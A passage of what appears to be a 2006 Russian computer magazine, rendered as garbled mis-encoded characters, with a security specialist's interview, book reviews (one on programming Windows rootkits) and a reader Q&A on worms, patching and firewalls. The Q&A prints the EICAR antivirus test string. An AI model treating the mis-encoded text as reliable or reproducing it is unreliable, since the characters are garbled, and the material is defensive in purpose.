ìóëüòèìåäèè äëÿ äîìà. Äî 2002 ãîäà îñíîâíûì
ìîèì çàíÿòèåì íà ðàáîòå áûëî ïðîãðàììèðîâà-
íèå. Ïîñëå 2002 ãîäà ÿ ïðîãðàììèðîâàòü ïåðåñ-
òàë. Òàê ñëó÷èëîñü. À ìóëüòèìåäèà… Íó, íàïðè-
ìåð, ñåé÷àñ ìàñòåðþ âèäåîíÿíþ :-). OpenWRT +
Web — êàìåðà + íàëàäîííèê.

Ä À Â Í Î  Ñ Ò Î Á Î É  Î Á Ù À Þ Ñ Ü  È  Õ Î × Ó

Ñ Ï Ð Î Ñ È Ò Ü :  Ï Î × Å Ì Ó  Î F F T O P I C ?

Ê À Ê Ð Î Ä È Ë Ñ ß Í È Ê ?

ÎFFTOPIC: Êàê-òî «â òåìó» ïðèøëîñü.

Â Ê À Ê È Õ  Ê Î Í Ô Å Ð Å Í Ö È ß Õ  

Ï Î Á Å Ç Î Ï À Ñ Í Î Ñ Ò È  Ò Û  Ó × À Ñ Ò Â Î Â À Ë ?

Ê À Ê È Å  È Ç  Í È Õ  Ò Û Ñ × È Ò À Å Ø Ü  

Í À È Á Î Ë Å Å  È Í Ò Å Ð Å Ñ Í Û Ì È  

È  Ï Î Ë Å Ç Í Û Ì È ?

ÎFFTOPIC: ß íå áîëüøîé õîäîê ïî êîíôåðåíöè-
ÿì. Â Ðîññèè â áîëüøèíñòâå ñëó÷àåâ îíè ñêàòûâà-
þòñÿ ê pre-sale, ÷òî ñêó÷íî. Åñòü íåêîòîðàÿ «îáÿçà-
ëîâêà», òèïà Infosecurity. Èõ ïîñåùàþ.

Â Ð Î Ä Å  Ò Î Ã Î ,  × Ò Î  I N F O S E C U R I T Y

Â Ë Þ Á Î Ì  Ñ Ë Ó × À Å  Í À Ä Î Ï Î Ñ Å Ò È Ò Ü ?

ÎFFTOPIC: Íó «÷òî òû çà õàêåð — 
è áåç íîóòáóêà èëè áåçîïàñíèê, íå áûâøèé 
íà Infosecurity» :).

Ñ  Ê À Ê È Ì È

Õ À Ê / Ñ Å Ê Ü Þ Ð È Ò È - Ã Ð Ó Ï Ï À Ì È

Ò Û  Î Á Ù À Å Ø Ü Ñ ß ?  

Ñ Ê Å Ì  È Ç Ñ Ï Å Ö È À Ë È Ñ Ò Î Â  

È Ç  Î Á Ë À Ñ Ò È  Á Å Ç Î Ï À Ñ Í Î Ñ Ò È  

I T  Ç Í À Ê Î Ì ?

ÎFFTOPIC: Ñ «ãðóïïàìè» çíàêîì ñëàáî. Äëÿ ìåíÿ
«àíäåãðàóíä» è «ñöåíà» çàêîí÷èëèñü ïîñëå ðàñïà-
äà ðîê-ãðóïïû, â êîòîðîé ÿ ó÷àñòâîâàë :-). Èç «ïóá-
ëè÷íûõ» ïðèõîäèòñÿ îáùàòüñÿ ñ ðàçíûìè ëþäüìè.
Ïðèÿòåëüñòâóåì ñ Àëåêñàíäðîì Àíòèïîâûì, Âëàäè-
ìèðîì Äóáðîâèíûì, Âàðôàëîìååì Êàùååâûì
(YAG KOHHA). Êñòàòè, â ñêîðîì âðåìåíè áóäåò
îïóáëèêîâàíà êíèãà, íàïèñàííàÿ ñîâìåñòíî
ñ 3APA3îé.

À  Ñ Å É × À Ñ  Õ Î Á Á È  Å Ñ Ò Ü ?

× Å Ì  Ë Þ Á È Ø Ü  Ç À Í È Ì À Ò Ü Ñ ß

Â Ñ Â Î Á Î Ä Í Î Å  Â Ð Å Ì ß ?

ÎFFTOPIC: ×åãî-òî êîíêðåòíîãî íåò, ìåíÿþòñÿ
áûñòðî. ß äèëåòàíò, òî åñòü çàáàâëÿþùèéñÿ.

Ð À Ñ Ñ Ê À Æ È  Ï Î Ä Ð Î Á Í Å Å  Î Ê Í È Ã Å ,

Ê Î Ò Î Ð Ó Þ  Ï È Ø Å Ò Å  Ñ Ç À Ð À Ç Î É ?

ÎFFTOPIC: Êíèæêà ïî áåçîïàñíîñòè áåñïðîâîä-
íûõ òåõíîëîãèé. Íàäåþñü, îíà ñòàíåò ïåðâîé èç ñå-
ðèè êíèã, ê ïðîäîëæåíèþ êîòîðîé áóäóò ïðèâëå-
êàòüñÿ ýêñïåðòû â ñîîòâåòñòâóþùèõ îáëàñòÿõ. Ê ñî-
æàëåíèþ, íà ðîññèéñêèõ êíèæíûõ ïîëêàõ îùóùàåò-
ñÿ íåêîòîðûé íåäîñòàòîê ëèòåðàòóðû äëÿ whitehat.
«Êàê âçëîìàòü âñå çà 5 ìèíóò» — ïîæàëóéñòà,
«Àíàëèç ðèñêîâ ïîëèòèêè áåçîïàñíîñòè» — ëåãêî,
à íå÷òî ñðåäíåå ïðàêòè÷åñêè îòñóòñòâóåò.

× È Ò À Å Ø Ü  « Õ À Ê Å Ð » ?  × Ò Î  Ì Î Æ Å Ø Ü

Ñ Ê À Ç À Ò Ü  Î Ï Ð Î × È Ò À Í Í Î Ì ?

ÎFFTOPIC: ×èòàþ, êîãäà ðåäàêòîðû ñêèäûâàþò
ññûëêè íà pdf. Â «ÑÏÅÖ» èíîãäà ïðîñà÷èâàþòñÿ
äîñòàòî÷íî èíòåðåñíûå âåùè.

Ï Î Ñ Î Â Å Ò Ó É  Í À Ø È Ì  × È Ò À Ò Å Ë ß Ì ,

Æ Å Ë À Þ Ù È Ì  Ç À Í ß Ò Ü Ñ ß

Ê Î Ì Ï Ü Þ Ò Å Ð Í Î É  Á Å Ç Î Ï À Ñ Í Î Ñ Ò Ü Þ ,

Ñ À Ì Û Å  Ó Ä À × Í Û Å  È  Ï Î Ë Å Ç Í Û Å

Ð Å Ñ Ó Ð Ñ Û ?  Ì Î Æ Å Ò ,  Ê Í È Ã È  Ê À Ê È Å ?

ÎFFTOPIC: Çàâèñèò îò íàïðàâëåíèÿ, â êîòîðîì
÷åëîâåê ñîáèðàåòñÿ äâèãàòüñÿ. Èç «íàó÷íî-ïîïó-
ëÿðíûõ» ïî âñåì íàïðàâëåíèÿì — securitylab.ru, bug-
traq.ru. Íó, à äàëüøå — â øèðü èëè ãëóáü ïî òîé èëè
èíîé òåìàòèêå… Èíôîðìàöèîííàÿ áåçîïàñ-
íîñòü — äîñòàòî÷íî øèðîêàÿ îáëàñòü çíàíèÿ, ÷òî-
áû åå ìîæíî áûëî âìåñòèòü â ïàðó ðåñóðñîâ.

Ê À Ê È Å  Å Ñ Ò Ü  Ç À Ä Ó Ì Ê È

È Ï Å Ð Ñ Ï Å Ê Ò È Â Û  Í À  Á Ó Ä Ó Ù Å Å ?  

ÎFFTOPIC: ß íà áóäóùåå íå çàãàäûâàþ.
Â íàøåé ñòðàíå ýòî áåñïîëåçíî.

× Ò Î  Ï Î Ñ Î Â Å Ò Ó Å Ø Ü  × È Ò À Ò Å Ë ß Ì ,

Æ Å Ë À Þ Ù È Ì  Ï Î Ï Ð Î Á Î Â À Ò Ü  Ñ Å Á ß

Ê Ñ Ô Å Ð Å  I T - S E C U R I T Y ?

ÎFFTOPIC: Ïîäóìàòü î áîëåå ïåðñïåêòèâíûõ
ïðîôåññèÿõ. Ñïåöèàëèñò ïî ïðîäàæàì, 
íàïðèìåð

äðóçüÿ
ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ
ÕÎÐÎØÈÉ ÑÏÅÖÈÀËÈÑÒ. ÂÎ-ÏÅÐÂÛÕ,
ÁÛÑÒÐÎ ÓÌÅÅÒ ÑÒÀÂÈÒÜ ÍÀ ÌÅÑÒÎ ÒÅÕ,
ÊÒÎ Ñ×ÈÒÀÅÒ ÑÅÁß ÓÌÍÅÅ ÅÃÎ. À ÂÎ-
ÂÒÎÐÛÕ — ÍÅÌÍÎÃÎ ÊÎÌÏËÅÊÑÓÅÒ (ÕÎÒß
ÍÈÊÎÃÄÀ Â ÝÒÎÌ ÍÅ ÏÐÈÇÍÀÅÒÑß), ÊÎÃÄÀ
ÎÊÀÇÛÂÀÅÒÑß, ×ÒÎ ÊÒÎ ÓÌÍÅÅ ÅÃÎ
(ÎÁÚÅÊÒÈÂÍÎ ÃÎÂÎÐß, ÒÀÊÈÕ ÍÀÉÒÈ
Î×ÅÍÜ ÑËÎÆÍÎ). ÈÇ-ÇÀ ÂÒÎÐÎÃÎ, ×ÀÑÒÎ,
ÅÑËÈ Â ×ÅÌ-ÒÎ ÍÅ ÓÂÅÐÅÍ, ÏÛÒÀÅÒÑß
ÂÛÄÀÒÜ ÑÂÎÅ ÃÅÍÈÀËÜÍÎÅ ÒÂÎÐÅÍÈÅ 
ÇÀ ÑÂÎÅÃÎ ÊËÎÍÀ (ÒÅÙÓ, ÆÅÍÓ, ÑÎÑÅÄÀ). 
Ñ ÄÐÓÃÎÉ ÑÒÎÐÎÍÛ, ÝÒÎ ÏÎÌÎÃÀÅÒ ÅÌÓ
ÏÎÑÒÎßÍÍÎ ÑÎÂÅÐØÅÍÑÒÂÎÂÀÒÜÑß, ÍÀ
×ÒÎ ÍÅ ÊÀÆÄÛÉ ÑÏÎÑÎÁÅÍ. ÏÎ-ÌÎÅÌÓ,
ÊÎËÈ×ÅÑÒÂÎ ÏÐÎÔÅÑÑÈÎÍÀËÜÍÛÕ
ÑÅÐÒÈÔÈÊÀÒÎÂ Ó ÍÅÃÎ ÈÑ×ÈÑËßÅÒÑß
ÊÈËÎÃÐÀÌÌÀÌÈ. ÄÓÌÀÞ, ÎÍ ÑÀÌ ÍÅ
ÎÒÂÅÒÈÒ ÍÀ ÂÎÏÐÎÑ, ÑÊÎËÜÊÎ Ó ÍÅÃÎ 
ÈÕ (È ÍÅ ÎÒÂÅÒÈË. — ÏÐÈÌ. ÀÂÒÎÐÀ).

ÇÀÐÀÇÀ
ÑÅÐÃÅÉ — ÎÄÈÍ ÈÇ ËÓ×ØÈÕ ÐÎÑÑÈÉÑÊÈÕ
ÑÏÅÖÈÀËÈÑÒÎÂ Â ÎÁËÀÑÒÈ
ÁÅÇÎÏÀÑÍÎÑÒÈ WINDOWS-ÑÅÒÅÉ. ÏÐÈ
ÝÒÎÌ Â ÍÅÌ ÎÒËÈ×ÍÎ ÑÎ×ÅÒÀÞÒÑß 
È ÏÐÀÊÒÈ×ÅÑÊÈÅ ÍÀÂÛÊÈ, È ÒÅÎÐÅÒÈ-
×ÅÑÊÀß ÏÎÄÃÎÒÎÂÊÀ, ×ÒÎ ÐÅÄÊÎÅ
ßÂËÅÍÈÅ. ÎÁÛ×ÍÎ, ÑÎ ÂÐÅÌÅÍÅÌ ÇÍÀÞÙÈÉ
×ÅËÎÂÅÊ ÑÒÀÍÎÂÈÒÑß ÑËÈØÊÎÌ ËÅÍÈÂÛÌ,
×ÒÎÁÛ ×ÒÎ-ÒÎ ÄÅËÀÒÜ ÑÂÎÈÌÈ ÐÓÊÀÌÈ. 

ÝÒÎÃÎ ÒÎÂÀÐÈÙÀ ÕÂÀÒÀÅÒ ÍÀ ÂÑÅ — ÍÀ
ÐÀÇÐÀÁÎÒÊÓ ÊÓÐÑÎÂ, ÍÀÏÈÑÀÍÈÅ ÊÍÈÆÅÊ,
ÏÎÄÃÎÒÎÂÊÓ ÊÎÍÔÅÐÅÍÖÈÉ, ÊÎÏÀÍÈÅ Â
ÊÓ×Å ÐÀÇÍÎÃÎ ÑÎÔÒÀ È ÄÀÆÅ ÍÀ ÏÎÈÑÊ
WI-FI ÑÅÒÅÉ Â ÊÐÓÏÍÛÕ ÍÀÑÅËÅÍÍÛÕ
ÏÓÍÊÒÀÕ.
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Îïòèìèçàöèÿ
Windows XXP

ÑÏá.: Ïèòåð, 2006 / Ìþëëåð
Äæ. / 480 ñòðàíèö
Ðàçóìíàÿ öåíà: 192 ðóáëÿ

Ðàíî èëè ïîçäíî ïðàêòè÷åñêè
êàæäûé çàäóìûâàåòñÿ î âîç-
ìîæíîñòè ìîäåðíèçàöèè ñâî-
åãî êîìïüþòåðà. Íî îäíî äå-
ëî, êîãäà «æåëåçî» ìîðàëüíî
è ôèçè÷åñêè óñòàðåâàåò,
è ñîâñåì äðóãîå — êîãäà âñå
íà÷èíàåò ðàáîòàòü ìåäëåí-
íåå. Êàê ïîêàçûâàåò ïðàêòè-
êà, î÷åíü ÷àñòî ïðè÷èíà òîð-
ìîçîâ âîâñå íå â íåäîñòàòêå
ìîùíîñòè/ïàìÿòè, à â ïëîõî
íàñòðîåííîì ïðîãðàììíîì
îáåñïå÷åíèè, â ïåðâóþ î÷å-
ðåäü — â îïåðàöèîííîé ñèñ-
òåìå. Èç êíèãè òû óçíàåøü,
êàê îïòèìèçèðîâàòü ñâîþ
Windows XP, óäàëèòü âñå
ëèøíåå, ïîëó÷èòü ïîëíûé
êîíòðîëü íàä ïðèëîæåíèÿìè
è ðåñóðñàìè, êîòîðûõ êàê ðàç
âñå âðåìÿ è íå õâàòàåò. Òîëü-
êî íå çàáûâàé, ÷òî îïòèìèçà-
öèÿ — íå ðàçîâàÿ àêöèÿ…

Óñòàíîâêà,
îáíîâëåíèå,
íàñòðîéêà èè
âîññòàíîâëåíèå

Ê.: «ÌÊ-Ïðåññ», 2006 /
Êîâòàíþê Þ.Ñ. /
304 ñòðàíèöû
Ñîðîêèí À.Â. / 477 ñòðàíèö
Ðàçóìíàÿ öåíà: 112 ðóáëåé

Ñåé÷àñ ìîæíî êóïèòü íîóò
èëè êîìïüþòåð ñ ïðåäóñòà-
íîâëåííîé îïåðàöèîíêîé
è íå ïàðèòüñÿ. Íî íèêòî
íå çàñòðàõîâàí îò ãëþêîâ
â áóäóùåì. Òàê ÷òî çíàòü,
êàê ãðàìîòíî óñòàíîâèòü
è íàñòðîèòü Windows XP,
íàäî! Ïðîáëåìû ìîãóò âîçíè-
êàòü â ñëó÷àå íåñàíêöèîíèðî-
âàííîãî âìåøàòåëüñòâà ïîëü-
çîâàòåëÿ, íåïðàâèëüíîãî âûê-
ëþ÷åíèÿ êîìïüþòåðà, â ðå-
çóëüòàòå ðàáîòû âðåäîíîñíî-
ãî ÏÎ (òîãî æå âèðóñà),
èç-çà ñáîåâ â ðàáîòå îáîðó-
äîâàíèÿ (îñîáåííî åñëè ìåä-
íûì òàçîì íàêðûëñÿ æåñòêèé
äèñê). Íî äàæå åñëè âñå ñóõî
è êîìôîðòíî, òû ìîæåøü ðå-
øèòü îáíîâèòü ñèñòåìó èëè
óñòàíîâèòü/óäàëèòü åå êîìïî-
íåíòû, ÷òî, îïÿòü æå, ìîæåò
ïîðîäèòü íîâûå ïðîáëåìû.
È äëÿ âñåõ ýòèõ ïðîáëåì çäåñü
åñòü äîñòóïíûå ðåøåíèÿ.

Êàê ìû îòáèðàåì êíèãè â îáçîð? Áåðåì ñïèñîê
èìåþùèõñÿ íà ñêëàäå êíèã (íåñêîëüêî òûñÿ÷
íàèìåíîâàíèé). Èç íèõ äåëàåì âûáîðêó ïî òåìå
íîìåðà. Ëó÷øåå ïîïàäàåò â æóðíàë.
Åñëè òåáÿ çàèíòåðåñîâàëè îïèñàííûå êíèãè, ìîæåøü
çàêàçàòü èõ ïî ðàçóìíûì öåíàì â áóêèíèñòè÷åñêîì
èíòåðíåò-ìàãàçèíå «OS-êíèãà» (www.osbook.ru),
ëèáî ïî àäðåñó oskniga@mail.ru.S
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Âèðòóàëüíûå
ìàøèíû: ííåñêîëüêî
êîìïüþòåðîâ
â îäíîì

ÑÏá.: Ïèòåð, 2006 / Ãóëüòÿåâ
À.Ê. / 224 ñòðàíèöû
Ðàçóìíàÿ öåíà: 247 ðóáëåé

Òåõíîëîãèÿ âèðòóàëüíûõ ìà-
øèí ïîçâîëÿåò çàïóñêàòü íà
îäíîì êîìïüþòåðå íåñêîëü-
êî ðàçëè÷íûõ îïåðàöèîííûõ
ñèñòåì îäíîâðåìåííî. Ïðè
ýòîì íåò íèêàêèõ îãðàíè÷å-
íèé â èñïîëüçîâàíèè âîç-
ìîæíîñòåé êàæäîé èç îïå-
ðàöèîííûõ ñèñòåì, òî åñòü
ïîëíàÿ èëëþçèÿ ðàáîòû
ñ ðåàëüíîé ñèñòåìîé. Íî ñà-
ìîå ïðèÿòíîå, ÷òî ìîæíî íå
áåñïîêîèòüñÿ î ïîñëåäñòâè-
ÿõ, âûïîëíÿÿ ïîòåíöèàëüíî
îïàñíûå îïåðàöèè äëÿ ÎÑ
(àêòóàëüíî ïðè òåñòèðîâà-
íèè ÷åãî-ëèáî íîâîãî), òàê
êàê åå êðàõ áóäåò îçíà÷àòü
ëèøü ïîâðåæäåíèå îäíîãî-
äâóõ ôàéëîâ. Â êíèãå ðàñ-
ñìîòðåíû òðè íàèáîëåå ïî-
ïóëÿðíûõ èíñòðóìåíòà äëÿ
ñîçäàíèÿ âèðòóàëüíûõ ìà-
øèí è óïðàâëåíèÿ èìè:
Virtual PC 2004, VMware
Workstation è Parallels
Workstation.

Ðååñòð WWindows XXP:
Íàñòðîéêè, òòðþêè,
ñåêðåòû.
Íàñòîëüíàÿ êêíèãà
ïîëüçîâàòåëÿ

ÑÏá.: Íàóêà è Òåõíèêà, 2006 /
Êóïðèÿíîâà À.Â. /
192 ñòðàíèöû
Ðàçóìíàÿ öåíà: 73 ðóáëÿ

Ðååñòð — ýòî, ïî ñóòè, íåêàÿ
áàçà äàííûõ, â êîòîðîé õðà-
íèòñÿ èíôîðìàöèÿ îáî âñåõ
íàñòðîéêàõ è ïàðàìåòðàõ ðà-
áîòû Windows XP, ïëþñ êîí-
ôèãóðàöèÿ âñåõ óñòàíîâëåí-
íûõ â ñèñòåìå ïðèëîæåíèé.
È ñ ïîìîùüþ ðååñòðà ìîæíî
ñäåëàòü ñ ñèñòåìîé âñå
÷òî óãîäíî, äàæå òî, ÷òî
íåâîçìîæíî ñäåëàòü ñ ïî-
ìîùüþ ñòàíäàðòíûõ ñðåäñòâ
Windows XP. Îäíî «íî» — åñ-
ëè ìåíÿòü ÷òî-òî â ðååñòðå
áåç çíàíèÿ äåëà, òî ìîæíî
íå òîëüêî íå äîáèòüñÿ æåëàå-
ìîãî, íî è «óðîíèòü» âñþ ñèñ-
òåìó. Áîëüøèíñòâî êíèã
ïî ðàáîòå ñ ðååñòðîì î÷åíü
òåîðåòèçèðîâàíû è äàþò çíà-
íèé áîëüøå, ÷åì íàäî â ðå-
àëüíîñòè. Ýòà êíèãà ðàññ÷èòà-
íà èìåííî íà ðåàëüíûå ïîëü-
çîâàòåëüñêèå çàäà÷è, èíòåðå-
ñû è ïðîáëåìû, äëÿ ðåøåíèÿ
êîòîðûõ íåîáõîäèìî âìåøà-
òåëüñòâî â ðååñòð.

Ñàìûå ííóæíûå
ïðîãðàììû
äëÿ Windows

Ïîïóëÿðíûé ñàìîó÷èòåëü. —
ÑÏá.: Ïèòåð, 2006 / Äîíöîâ
Ä.À. / 400 ñòðàíèö
Ðàçóìíàÿ öåíà: 180 ðóáëåé

Â êíèãå îïèñàíî áîëåå 200 ïðè-
ëîæåíèé, íî ïîëåçíîñòü êàæ-
äîãî â îòäåëüíîñòè ñïîðíàÿ,
òàê êàê âñå çàâèñèò îò òâîèõ
çàäà÷ è ïðèñòðàñòèé. Êíèãà
ïîñòðîåíà óäîáíî — ñ ðàçáèâ-
êîé ïî òåìàòè÷åñêèì ðàçäå-
ëàì: êàê ïå÷àòíàÿ ìàøèíêà,
êàê ïîìîùíèê, êàê íàäåæíîå
ñðåäñòâî õðàíåíèÿ èíôîðìà-
öèè, êàê ñðåäñòâî êîììóíèêà-
öèè, êàê öåíòð ðàçâëå÷åíèé,
ïëþñ îäèí ðàçäåë ïî âîçìîæ-
íîñòÿì íàñòðîéêè ñèñòåìû
â öåëîì. Â êàæäîì ðàçäåëå —
íåñêîëüêî áîëåå óçêèõ îáëàñ-
òåé ïðèìåíåíèÿ è íàáîð ñâîèõ
ïðîãðàìì. Ê ïðèìåðó, â ðàç-
äåëå «Êàê ñðåäñòâî êîììóíè-
êàöèè» åñòü ïîäðàçäåë «Áîðü-
áà ñî ñïàìîì», â êîòîðîì îïè-
ñàíû Anti Spammer, Bounce
Spam Mail, MailWasher, Spam
Punisher, SpamWasher
è WinAntiSpam. Îïèñàíèå
âåñüìà êðàòêîå, 
íî äîñòàòî÷íîå äëÿ îáùåãî
ïðåäñòàâëåíèÿ. Ññûëêè, 
ãäå ñêà÷àòü, èìåþòñÿ.

Rootkits
ïîä Windows

ÑÏá.: Íàóêà è Òåõíèêà, 2006 /
Êîëèñíè÷åíêî Ä.Í. /
320 ñòðàíèö
Ðàçóìíàÿ öåíà: 197 ðóáëåé

Ðóòêèò — ýòî ïðîãðàììà èëè
íàáîð ïðîãðàìì äëÿ ñêðûòîãî
âçÿòèÿ ïîä êîíòðîëü âçëîìàí-
íîé ñèñòåìû. Íà ïëàòôîðìå
Windows ñêðûòíîñòü îáåñïå-
÷èâàåòñÿ òåì, ÷òî ðóòêèòû ïå-
ðåõâàòûâàþò ñèñòåìíûå
ôóíêöèè è ñòðóêòóðû äàííûõ,
ïîäìåíÿÿ èõ ñâîèì êîäîì
è äàííûìè. Áëàãîäàðÿ ýòîé
ïîäìåíå ðóòêèò ìîæåò çàìàñ-
êèðîâàòü ñâîå ïðèñóòñòâèå
â ñèñòåìå (ïðîöåññû, ôàéëû,
ñåòåâûå ñîåäèíåíèÿ è êëþ÷è
ðååñòðà) è òâîðèòü çàäóìàí-
íîå... Îïèñàíèþ ðóòêèòíûõ
òåõíîëîãèé è ïðîãðàììèðîâà-
íèþ ðóòêèòîâ ïîñâÿùåíà ýòà
êíèãà. Òû ïîéìåøü ïðèíöèïû
ðàáîòû ðóòêèòà è ðàññìîò-
ðèøü ìíîãî÷èñëåííûå ïðèìå-
ðû êîäà, èëëþñòðèðóþùèå
ðàçëè÷íûå ðóòêèòíûå òåõíî-
ëîãèè. Åäèíñòâåííîå ÷òî, ïî
óìîë÷àíèþ òû äîëæåí óìåòü
ïðîãðàììèðîâàòü íà C/C++
è áûòü çíàêîì ñ îñíîâàìè ñå-
òåâîãî ïðîãðàììèðîâàíèÿ.
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Î × Å Í Ü  × À Ñ Ò Î  Ï Å Ð Å Ç À Ã Ð Ó Æ À Å Ò Ñ ß

Ê Î Ì Ï Ü Þ Ò Å Ð ,  Ï Å Ð Å Ä  Ý Ò È Ì  Â Û Â Î Ä ß

Ï Ð Å Ä Ó Ï Ð Å Æ Ä Å Í È Å .  Ç Í À Ê Î Ì Û Å  

Ñ Ê À Ç À Ë È ,  × Ò Î  Ý Ò Î  Â È Ð Ó Ñ .  

Ê À Ê  Ì Í Å  Â Û Ë Å × È Ò Ü  Ê Î Ì Ï Ü Þ Ò Å Ð ,  

Å Ñ Ë È  Ì Å Æ Ä Ó  Ï Å Ð Å Ç À Ã Ð Ó Ç Ê À Ì È  

ß Í Å  Ó Ñ Ï Å Â À Þ  Ä À Æ Å  Ó Ñ Ò À Í Î Â È Ò Ü

À Í Ò È Â È Ð Ó Ñ Í Ó Þ  Ï Ð Î Ã Ð À Ì Ì Ó ?  

Èíèöèèðîâàííóþ ïåðåçàãðóçêó ìîæíî îò-
ìåíèòü êîìàíäîé «shutdown -a». Äëÿ óäîá-

ñòâà ìîæíî ñîçäàòü bat-ôàéë è çàïóñêàòü åãî ïðè
ïîÿâëåíèè ïðåäóïðåæäåíèé.

À äëÿ óäàëåíèÿ ÷åðâÿ âîñïîëüçóéñÿ ëþáûì àí-
òèâèðóñîì èëè ñïåöèàëüíîé åæåìåñÿ÷íî îáíîâëÿþ-
ùåéñÿ óòèëèòîé îò Microsoft, êîòîðóþ ìîæíî ñêà÷àòü
ïî àäðåñó: http://support.microsoft.com/?kbid=890830. Ïðè
ýïèäåìèÿõ ìíîãèå àíòèâèðóñíûå êîìïàíèè âûïóñêà-

þò áåñïëàòíûå óçêîñïåöèàëèçèðîâàííûå ïðîãðàììû
äëÿ îáåçâðåæèâàíèÿ ÷åðâåé. ×òîáû èçáåãàòü ïîäîá-
íûõ ñèòóàöèé, âîâðåìÿ óñòàíàâëèâàé îáíîâëåíèÿ
îïåðàöèîííîé ñèñòåìû è ïîëüçóéñÿ ôàéðâîëîì.

Ê À Ê  Ó Ç Í À Ò Ü ,  Ò Ð Å Á Ó Þ Ò Ñ ß  

Ë È  Î Á Í Î Â Ë Å Í È ß  Ä Ë ß  Ì Î Å É  

Î Ï Å Ð À Ö È Î Í Í Î É  Ñ È Ñ Ò Å Ì Û ?  

Å Ñ Ë È  Ò Ð Å Á Ó Þ Ò Ñ ß ,  Ò Î Ã Ä Å  Ê Î Í Ê Ð Å Ò -

Í Î Ñ Ê À × À Ò Ü  Í Ó Æ Í Û Å  Ç À Ï Ë À Ò Ê È ?

Äëÿ îïðåäåëåíèÿ íåîáõîäèìûõ äëÿ óñòà-
íîâêè îáíîâëåíèé ðåêîìåíäóþ èñïîëüçî-

âàòü áåñïëàòíóþ ïðîãðàììó «Microsoft Baseline
Security Analyzer 2.0». Îíà âìåñòå ñ îïèñàíèåì
æäåò òåáÿ ïî àäðåñó: www.microsoft.com/technet/securi-
ty/tools/mbsahome.mspx.

Ïðîãðàììà îïðåäåëÿåò íàëè÷èå àêòóàëüíûõ
îáíîâëåíèé íå òîëüêî äëÿ îïåðàöèîííîé ñèñòåìû,
íî è äëÿ öåëîãî ðÿäà ïðîäóêòîâ îò Microsoft: Internet
Information Server (IIS) SQL Server, Office è äðóãèõ.
Òàêæå ïðîâåðÿþòñÿ äðóãèå ïàðàìåòðû áåçîïàñ-
íîñòè è âûäàþòñÿ ðåêîìåíäàöèè ïî èõ óñòðàíåíèþ.
Ïðîâåðÿòü ìîæíî íå òîëüêî ëîêàëüíûé êîìïüþòåð,
íî è öåëóþ ïîäñåòü.

Î Á Ñ Ë Ó Æ È Â À Þ  Ñ Å Ò Ü  Í À  Î Ñ Í Î Â Å

A C T I V E  D I R E C T O R Y .  Ê Î Í Ò Ð Î Ë Ë Å Ð

Ä Î Ì Å Í À — W I N D O W S  2 0 0 3 .  

Í À  Ê Ë È Å Í Ò Ñ Ê È Õ  Ê Î Ì Ï Ü Þ Ò Å Ð À Õ  

È Ñ Ï Î Ë Ü Ç Ó Å Ò Ñ ß  Î Ï Å Ð À Ö È Î Í Í À ß

Ñ È Ñ Ò Å Ì À  W I N D O W S  X P  P R O F E S I O N A L  

Ñ Î  Â Ò Î Ð Û Ì  Ñ Å Ð Â È Ñ - Ï À Ê Î Ì .  

Ì Î Ã Ó  Ë È  ß Í À Ñ Ò Ð À È Â À Ò Ü  Í À  Í È Õ  

Â Ñ Ò Ð Î Å Í Í Û É  F I R E W A L L  Ñ Ï Î Ì Î Ù Ü Þ

Ã Ð Ó Ï Ï Î Â Û Õ  Ï Î Ë È Ò È Ê ?

Äà, ìîæåøü. Äëÿ ýòîãî íóæíî íà êîíòðîëëåð
äîìåíà óñòàíîâèòü ïàêåò îáíîâëåíèÿ Service

Pack 1. Íàñòðîéêè, ðåãóëèðóþùèå ðàáîòó áðàíäìàó-
ýðà Windows, íàõîäÿòñÿ â îñíàñòêå MMC «Ãðóïïîâàÿ
ïîëèòèêà» (gpedit.msc) â ðàçäåëå «Ïîëèòèêà ëîêàëü-
íîãî êîìïüþòåðà» (Local Computer Policy). Óñòàíîâè
âñå çíà÷åíèÿ â âåòêå «Êîíôèãóðàöèÿ êîìïüþòå-
ðà\Àäìèíèñòðàòèâíûå øàáëîíû\Ñåòü\Ñåòåâûå ïîäê-
ëþ÷åíèÿ\Áðàíäìàóýð Windows» (Computer Configu-
ration\Administrative Templates\Network\Network Con-
nections\Windows Firewall) â ïàïêàõ «Ïðîôèëü äîìå-
íà» (Domain Profile) è «Ñòàíäàðòíûé ïðîôèëü»
(Standard Profile).

Ê À Ê  Ó Ç Í À Ò Ü ,  Ð À Á Î Ò À Å Ò  È Ë È  

Í Å Ò  Ó Ñ Ò À Í Î Â Ë Å Í Í Û É  À Í Ò È Â È Ð Ó Ñ ?

Äëÿ ïðîâåðêè ðàáîòîñïîñîáíîñòè àíòèâè-
ðóñíîé ïðîãðàììû èñïîëüçóé «ñèìóëÿòîð

âèðóñà» EICAR-Test-File. Ýòî ñòàíäàðòíàÿ òåñòîâàÿ
ïðîãðàììà, ïðè çàïóñêå êîòîðîé âûâîäèòñÿ ñîîáùå-
íèå: «EICAR-STANDARD-ANTIVIRUS-TEST-FILE!».
Ìíîãèå àíòèâèðóñíûå ïðîãðàììû áóäóò äåòåêòèðî-
âàòü åãî êàê «EICAR test file».

Íà âîïðîñû îòâå÷àåò
ýêñïåðò íîìåðà 
ßðîñëàâ Òðóõà÷åâ 
(trukhachov@vitrina.su)
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Ïîëó÷èòü ñèìóëÿòîð ìîæíî, ñîçäàâ â áëîêíî-
òå ôàéë, ñîäåðæàùèé ñòðîêó: «X5O!P%@AP[4\PZX-
54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*». Èëè ñêà÷àòü ñ ñåðâåðà Ëàáîðàòîðèè
Êàñïåðñêîãî: ftp://ftp.kaspersky.com/utils/eicar/eicar.com.

Í Å  Ì Î Ã Ó  È Ç Á À Â È Ò Ü Ñ ß  Î Ò  Â È Ð Ó Ñ À !

À Í Ò È Â È Ð Ó Ñ  Í À Õ Î Ä È Ò  Å Ã Î ,  

Ï Ð Å Ä Ë À Ã À Å Ò  Ó Ä À Ë È Ò Ü  Ï Ð È  

Ï Å Ð Å Ç À Ã Ð Ó Ç Ê Å ,  Í Î  Ï Î Ñ Ë Å  

Ï Å Ð Å Ç À Ã Ð Ó Ç Ê È  Â È Ð Ó Ñ  Ï Ð Î Ä Î Ë Æ À Å Ò

Ð À Á Î Ò À Ò Ü !  Ï Ð È  Ï Î Ï Û Ò Ê Å  Ó Ä À Ë Å Í È ß

Â Ð Ó × Í Ó Þ  Â Û Ä À Å Ò Ñ ß  Î Ø È Á Ê À :

